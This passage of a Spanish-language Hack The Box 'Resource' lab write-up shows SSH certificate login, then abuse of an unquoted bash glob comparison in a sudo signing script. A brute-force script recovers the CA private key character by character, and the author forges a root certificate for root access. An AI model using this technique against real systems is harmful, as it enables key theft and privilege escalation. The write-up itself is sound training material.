10 zzinter_temp
11 Critical Options: (none)
12 Extensions:
13 permit-X11-forwarding
14 permit-agent-forwarding
15 permit-port-forwarding
16 permit-pty
17 permit-user-rc
Por lo cual ahora podemos iniciar sesión en la máquina víctima como zzinter
1$ ssh -o CertificateFile=test2 -i pointed zzinter@ssg.htb -p 2222
2Enter passphrase for key 'pointed':
3Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
4
5 * Documentation: https://help.ubuntu.com
6 * Management: https://landscape.canonical.com
7 * Support: https://ubuntu.com/pro
8
9 System information as of Tue Sep 10 08:05:13 PM UTC 2024
10
11 System load: 0.0
12 Usage of /: 80.5% of 10.73GB
13 Memory usage: 20%
14 Swap usage: 0%
15 Processes: 236
16 Users logged in: 0
17 IPv4 address for eth0: 10.129.197.255
18 IPv6 address for eth0: dead:beef::250:56ff:fe94:c869
19
20
21Expanded Security Maintenance for Applications is not enabled.
22
230 updates can be applied immediately.
24
25Enable ESM Apps to receive additional future security updates.
26See https://ubuntu.com/esm or run: sudo pro status
27
28
29The list of available updates is more than a week old.
30To check for new updates run: sudo apt update
31Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
32
33
34Last login: Tue Sep 10 20:01:12 2024 from 10.10.14.143
35zzinter@ssg:~$ id
36uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)
Si intentamos hacer lo mismo para el principal de root
1$ ./sign.sh pointed.pub zzinter support
2{"detail":"Root access must be granted manually. See the IT admin staff."}
Esto si que está limitado por la API.
Privilege Escalation
Ahora podemos ejecutar como root
el script que habíamos encontrado antes en /opt
1zzinter@ssg:/opt$ sudo -l
2Matching Defaults entries for zzinter on ssg:
3 env_reset, mail_badpass,
4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
5 use_pty
6
7User zzinter may run the following commands on ssg:
8 (root) NOPASSWD: /opt/sign_key.sh
1#!/bin/bash
2
3usage () {
4 echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
5 exit 1
6}
7
8if [ "$#" -ne 5 ]; then
9 usage
10fi
11
12ca_file="$1"
13public_key_file="$2"
14username="$3"
15principal_str="$4"
16serial="$5"
17
18if [ ! -f "$ca_file" ]; then
19 echo "Error: CA file '$ca_file' not found."
20 usage
21fi
22
23itca=$(cat /etc/ssh/ca-it)
24ca=$(cat "$ca_file")
25if [[ $itca == $ca ]]; then
26 echo "Error: Use API for signing with this CA."
27 usage
28fi
29
30if [ ! -f "$public_key_file" ]; then
31 echo "Error: Public key file '$public_key_file' not found."
32 usage
33fi
34
35supported_principals="webserver,analytics,support,security"
36IFS=',' read -ra principal <<< "$principal_str"
37for word in "${principal[@]}"; do
38 if ! echo "$supported_principals" | grep -qw "$word"; then
39 echo "Error: '$word' is not a supported principal."
40 echo "Choose from:"
41 echo " webserver - external web servers - webadmin user"
42 echo " analytics - analytics team databases - analytics user"
43 echo " support - IT support server - support user"
44 echo " security - SOC servers - support user"
45 echo
46 usage
47 fi
48done
49
50if ! [[ $serial =~ ^[0-9]+$ ]]; then
51 echo "Error: '$serial' is not a number."
52 usage
53fi
54
55ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file"
ChatGPT nos explica el script.
Este script Bash realiza la firma de una clave pública SSH utilizando un archivo de autoridad de certificación (CA) para generar un certificado SSH. También verifica ciertos parámetros antes de proceder con la firma. A continuación se desglosa su funcionamiento paso a paso:
1. Uso y validación de argumentos:
- El script espera cinco argumentos:
ca_file
: archivo que contiene la clave privada de la autoridad de certificación (CA).public_key_file
: archivo de clave pública que se va a firmar.username
: nombre de usuario para identificar la clave.principal
: lista de principales o roles asociados.serial
: número de serie del certificado.
- Si no se proporcionan exactamente cinco argumentos, se muestra un mensaje de uso correcto del script y termina.
2. Verificación de archivos:
- Verifica si el archivo CA existe: Si el archivo
ca_file
no existe, muestra un error y termina. - Lee el contenido del archivo CA: Compara el contenido del archivo de CA proporcionado con el archivo
/etc/ssh/ca-it
. Si son iguales, muestra un error indicando que esta CA debe usarse a través de una API y finaliza el script.
3. Verificación de clave pública:
- Comprueba que el archivo de clave pública proporcionado exista. Si no existe, muestra un error y termina.
4. Validación de principales:
- Define un conjunto de principales válidos:
webserver
,analytics
,support
,security
. - Convierte el argumento
principal_str
en un array, dividiendo la cadena por comas. - Verifica que cada principal proporcionado esté en la lista de principales válidos. Si algún principal no es válido, muestra un error con la lista de principales permitidos y termina.
5. Verificación del número de serie:
- Comprueba si el argumento
serial
es un número entero positivo. Si no lo es, muestra un error y termina.
6. Firma de la clave pública:
- Utiliza
ssh-keygen
para firmar la clave pública con el archivo de CA proporcionado. Los parámetros que usa son:-s "$ca_file"
: especifica el archivo CA para firmar.-z "$serial"
: asigna el número de serie al certificado.-I "$username"
: asigna el identificador del certificado (el nombre del usuario).-V -1w:forever
: hace que el certificado sea válido desde una semana antes (-1w
) hasta para siempre (forever
).-n "$principal"
: asigna los principales al certificado.- Finalmente, el archivo de clave pública se pasa como argumento para ser firmado.
Resumen:
Este script firma una clave pública SSH utilizando una clave privada de autoridad de certificación (CA). Verifica que los principales sean válidos, que el archivo CA no sea uno reservado para un proceso de firma basado en API y que el número de serie sea un número válido. Si todas las validaciones son correctas, genera un certificado SSH firmado con la clave pública y lo asocia con un conjunto de principales y un número de serie.
Ahora vamos a ponernos en situación. El problema de este script viene en la comparación.
1itca=$(cat /etc/ssh/ca-it)
2ca=$(cat "$ca_file")
3if [[ $itca == $ca ]]; then
4 echo "Error: Use API for signing with this CA."
5 usage
6fi
Ya que carga los contenidos podemos hacer uso de globbing para explotar el script y conseguir la clave de la CA original. Esto significaría que al tener la clave de la CA podemos firmar nosotros mismos una clave pública con el principal de root
y escalar privilegios.
Concepto de Globbing en Bash
El globbing es una característica en Bash que expande los patrones de archivo (como *
y ?
) a nombres de archivo que coinciden con esos patrones. Si el script usa globbing de manera insegura, puedes aprovecharlo para exponer el contenido del archivo en partes.
Con un ejemplo se verá mejor. Podemos usar el script para firmar correctamente una clave pública con nuestra clave privada.
1zzinter@ssg:~$ sudo /opt/sign_key.sh ca-itrc pointed.pub root support 2
2Signed user key pointed-cert.pub: id "root" serial 2 for support valid after 2024-09-03T20:24:46
Esto significa que nuestra clave privada no es la misma que la del servidor del cual queremos su clave, esto es obvio.
Ahora podemos crear un archivo test
con contenido test
y lanzar el script con este archivo como clave privada.
1zzinter@ssg:~$ cat test
2test
Como no se verifica que la clave sea válida, va a llegar a la comparación, la va a pasar porque test
no es lo mismo al contenido de la CA que queremos obtener y dará un error al intentar firmar la clave porque no es una clave privada válida.
1zzinter@ssg:~$ sudo /opt/sign_key.sh test pointed.pub root support 2
2Load key "test": error in libcrypto
Pero y si el contenido de test
fuera -*
1zzinter@ssg:~$ cat test
2-*
Esto significaría que el script compara -*
que se resuelve en lo que sea que empiece por el carácter -
con la clave privada que empieza por una cabecera -----BEGIN OPENSSH PRIVATE KEY-----
, por lo cual la comparación sería válida y podríamos afirmar que la clave privada de la CA empieza por -
1zzinter@ssg:~$ sudo /opt/sign_key.sh test pointed.pub root support 2
2Error: Use API for signing with this CA.
3Usage: /opt/sign_key.sh <ca_file> <public_key_file> <username> <principal> <serial>
Y efectivamente, esto funciona. Por lo cual podemos hacer un script que vaya iterando por todos los caracteres mayúsculas, minúsculas, numéricos y caracteres especiales para ir descubriendo la clave de la CA carácter por carácter.
Este el el script.
1#!/bin/bash
2
3# Lista de caracteres válidos (incluyendo los que forman las claves privadas y un espacio para saltos de línea)
4characters='-ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+=/ ?'
5found_key=""
6
7# Crear o vaciar el archivo pwn
8> pwn
9
10# Función para probar combinaciones de caracteres
11test_combination() {
12 local prefix="$1"
13 local suffix="$2"
14
15 # Iterar sobre cada carácter en la lista
16 for (( i=0; i<${#characters}; i++ )); do
17 char="${characters:$i:1}"
18
19 # Reemplazar el espacio por un salto de línea en caso de ser necesario
20 if [ "$char" = "?" ]; then
21 char=$'\n'
22 fi
23
24 # Crear la combinación de caracteres
25 echo -n "$prefix$char$suffix*" > pwn
26
27 # Ejecutar el comando con el archivo pwn
28 sudo /opt/sign_key.sh pwn pointed.pub root support 2 > /dev/null 2>&1
29
30 # Verificar el resultado del comando
31 if [ $? -eq 1 ]; then
32 echo "Encontrado carácter: $found_key$char"
33 found_key="$found_key$char"
34 # Llamar a la función de nuevo para continuar con el siguiente carácter
35 test_combination "$prefix$char" ""
36 return
37 fi
38 done
39}
40
41# Iniciar el proceso con combinaciones de un solo carácter
42test_combination "" "*"
43
44# Limpiar el archivo pwn
45rm pwn
46
47echo "Clave privada descubierta: "
48echo "$found_key"
Y si lo ejecutamos y lo dejamos un rato conseguimos la clave privada de la CA.
1zzinter@ssg:~$ ./brute.sh
2.............
3Clave privada descubierta:
4-----BEGIN OPENSSH PRIVATE KEY-----
5b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
6QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
7rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
8AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
9cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
10QBAgM=
11-----END OPENSSH PRIVATE KEY-----
Ahora recordemos que el principal de root
es root_user
1zzinter@ssg:~$ cat /etc/ssh/auth_principals/root
2root_user
Ahora podemos firmar nuestra clave pública con la clave de la CA que hemos dumpeado.
1$ ssh-keygen -s cakey -n root_user -I root_user pointed.pub
2Signed user key pointed-cert.pub: id "root_user" serial 0 for root_user valid forever
Y vemos que tiene el principal que queremos.
1$ ssh-keygen -Lf pointed-cert.pub
2pointed-cert.pub:
3 Type: ssh-rsa-cert-v01@openssh.com user certificate
4 Public key: RSA-CERT SHA256:blvDbjxySkHARnbWjYq0m/wTl7qABo/8ZCMu4B+JiO0
5 Signing CA: ED25519 SHA256:1p3yJYtPaG3wNIzooDpnzx5dFkAgHdnFVNDt7HbRpKc (using ssh-ed25519)
6 Key ID: "root_user"
7 Serial: 0
8 Valid: forever
9 Principals:
10 root_user
11 Critical Options: (none)
12 Extensions:
13 permit-X11-forwarding
14 permit-agent-forwarding
15 permit-port-forwarding
16 permit-pty
17 permit-user-rc
Y ya podemos acceder a la máquina víctima como el usuario root
1$ ssh -o CertificateFile=pointed-cert.pub -i pointed root@ssg.htb -p 2222
2Enter passphrase for key 'pointed':
3Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
4
5 * Documentation: https://help.ubuntu.com
6 * Management: https://landscape.canonical.com
7 * Support: https://ubuntu.com/pro
8
9 System information as of Tue Sep 10 09:26:54 PM UTC 2024
10
11 System load: 0.08
12 Usage of /: 90.0% of 10.73GB
13 Memory usage: 20%
14 Swap usage: 0%
15 Processes: 243
16 Users logged in: 1
17 IPv4 address for eth0: 10.129.197.255
18 IPv6 address for eth0: dead:beef::250:56ff:fe94:c869
19
20 => / is using 90.0% of 10.73GB
21
22
23Expanded Security Maintenance for Applications is not enabled.
24
250 updates can be applied immediately.
26
27Enable ESM Apps to receive additional future security updates.
28See https://ubuntu.com/esm or run: sudo pro status
29
30
31The list of available updates is more than a week old.
32To check for new updates run: sudo apt update
33Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
34
35
36root@ssg:~# id
37uid=0(root) gid=0(root) groups=0(root)
Y leer la flag.
1root@ssg:~# cat root.txt
22b0a8753495825a9e...
Happy Hacking! 🚀
#HackTheBox #Resource #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #XSS #Stored XSS #Web Fuzzing #Local File Inclusion #Insecure Direct Object Reference #Abusing ThinkPHP #Docker Breakout #Information Disclosure #User Pivoting #Abusing CA #Creating Custom Certificate #Abusing API #Abusing Bash Script #Abusing Sudo Privileges #Abusing Bash Globbing #Scripting #Bash Scripting